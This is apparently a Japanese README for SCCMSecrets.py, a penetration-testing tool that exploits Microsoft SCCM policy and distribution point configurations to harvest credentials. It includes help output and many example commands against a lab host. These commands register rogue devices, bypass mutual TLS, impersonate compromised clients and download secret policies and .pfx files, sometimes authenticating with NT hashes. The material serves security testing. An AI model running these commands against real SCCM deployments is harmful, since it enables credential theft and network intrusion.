SCCMSecrets.py は、SCCM ポリシーを悪用するツールです。NAA 資格情報の抽出にとどまらず、SCCM ポリシーの配布に関する包括的な悪用手法を提供します。このツールはさまざまな権限レベルで実行でき、ポリシー配布に関連する潜在的な設定ミスを発見しようとします。ツールとその使用方法の詳細については、関連記事を参照してください: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
policies と files の2つのサブコマンドが利用できます。
このサブコマンドは SCCM 管理ポイント と通信し、すべての秘密ポリシー(NAA 構成、資格情報を含むタスクシーケンス、コレクション変数など)の内容をダンプします。そのためには、承認済みの SCCM デバイスが必要です。これは次の3つの方法で取得できます。
--altauth フラグを指定すると、SCCMSecrets は代替認証エンドポイントを悪用し、mTLS 要件をバイパスして、資格情報なしで、かつ自動デバイス承認の設定ミスなしに承認済みデバイスを取得できます(詳細はこちら)。これは、MP が HTTPS を使用するように構成され、かつ SCCM サイトがサイト全体で HTTPS を強制するように構成されている場合にのみ機能します(MP が HTTPS を使用しているがサイトが HTTP と HTTPS の両方を許可している場合、デバイスは自動的に承認されません)。--use-existing-device)。この引数は、guid.txt ファイル(デバイス GUID)と key.pem ファイル(デバイスの秘密鍵)を含むディレクトリを指定します。これは、以前の SCCMSecrets の実行で作成されたデバイスか、侵害された正規の SCCM クライアントに対応するデバイスです。なお、SCCM ポリシーはコレクションに関連付けられています。新しいデバイスを登録すると、そのデバイスは既定のコレクションに配置されるため、既定のコレクションの秘密ポリシーのみが取得されます。そのため、--use-existing-device を使用して侵害された正規の SCCM クライアントになりすますことが有用な場合があります。実際、この正規のクライアントは、追加の秘密ポリシーに関連付けられたカスタムコレクションのメンバーである可能性があります。
出力は loot ディレクトリのサブディレクトリに配置されます(形式: [timestamp]_policies)。
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
このサブコマンドは、配布ポイント に保存されているファイルをインデックス化し、興味深いファイルをダウンロードします。SCCMSecrets はまず、匿名アクセスが有効かどうか(非デフォルト)を特定しようとします。有効な場合は、認証なしでファイルのインデックス化とダウンロードが可能です。それ以外の場合は、ドメイン資格情報が必要になります。
拡張子によるファイルのダウンロードが可能です。SCCMSecrets は、配布ポイントでホストされているすべてのパッケージのファイルをインデックス化し(Unix の tree 形式の index.txt ファイルを生成)、指定された拡張子のファイルをダウンロードします。空の拡張子リストを指定した場合は、ファイルのインデックス化のみが実行されます。
どちらの場合も、生成されたインデックスファイルから、--urls フラグを使用して特定の興味深いファイルを(再インデックス化なしで)ダウンロードできます。
mTLS 要件が実装されている場合でも、--nocert フラグを指定することでバイパスできることに注意してください。
出力は loot ディレクトリのサブディレクトリに配置されます(形式: [timestamp]_files)。
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
既定では、クライアントはプレーンな HTTP を使用して管理ポイントまたは配布ポイントと通信できます。ただし、SCCM インストールは HTTPS の使用を強制することで、より安全に構成される場合があります。この場合(管理ポイント、配布ポイント、またはその両方)、SCCM は「クライアント認証」の目的を持つ内部 PKI 証明書を使用したクライアント証明書認証を要求します。
上記の攻撃を実行することは依然として可能ですが、--pki-cert および --pki-key フラグ(PEM 形式)を使用して有効な PKI 証明書を指定する必要があります。管理ポイント / 配布ポイントの URL にも https:// プレフィックスを付ける必要があります。
--altauth(policies 用)および --nocert(files 用)フラグは、mTLS 認証をバイパスする方法を提供することに注意してください(詳細はこちら)。
SCCMSecrets.py は、リポジトリをクローンして依存関係をインストールすることで導入できます。
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
以下にいくつかのコマンド例を示します。
マシンアカウントを指定せずに秘密ポリシーを取得します。自動デバイス承認の設定ミス(非デフォルト構成)を悪用しようとします。
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
マシンアカウントを指定して秘密ポリシーを取得します。これは既定の SCCM 構成で機能します。
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
既存のデバイスの秘密ポリシーを取得します。compromised_device フォルダには guid.txt と key.pem ファイルが含まれています。
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
管理ポイントが HTTPS を強制する場合に秘密ポリシーを取得します。
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
代替認証エンドポイントを使用して秘密ポリシーを取得します。mTLS 認証をバイパスし、資格情報を指定せずに承認済みデバイスを取得できます(詳細はこちら)。MP が HTTPS を使用し、サイト全体で HTTPS が強制されている場合にのみ機能します。
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
資格情報を指定せずに配布ポイントのファイルを取得します。匿名 DP アクセス(非デフォルト構成)を悪用しようとします。
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
資格情報を使用して配布ポイントのファイルを取得します。これは既定の SCCM 構成で機能します。
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
特定の拡張子リストのファイルを取得します。マシンアカウントのハッシュで認証します。
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
URL のリスト(1行に1つ)を指定して、配布ポイントから特定のファイルを取得します。
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
配布ポイントが HTTPS を強制する場合に DP のファイルを取得します。
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
配布ポイントが HTTPS を強制する場合に mTLS 認証をバイパスします。
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert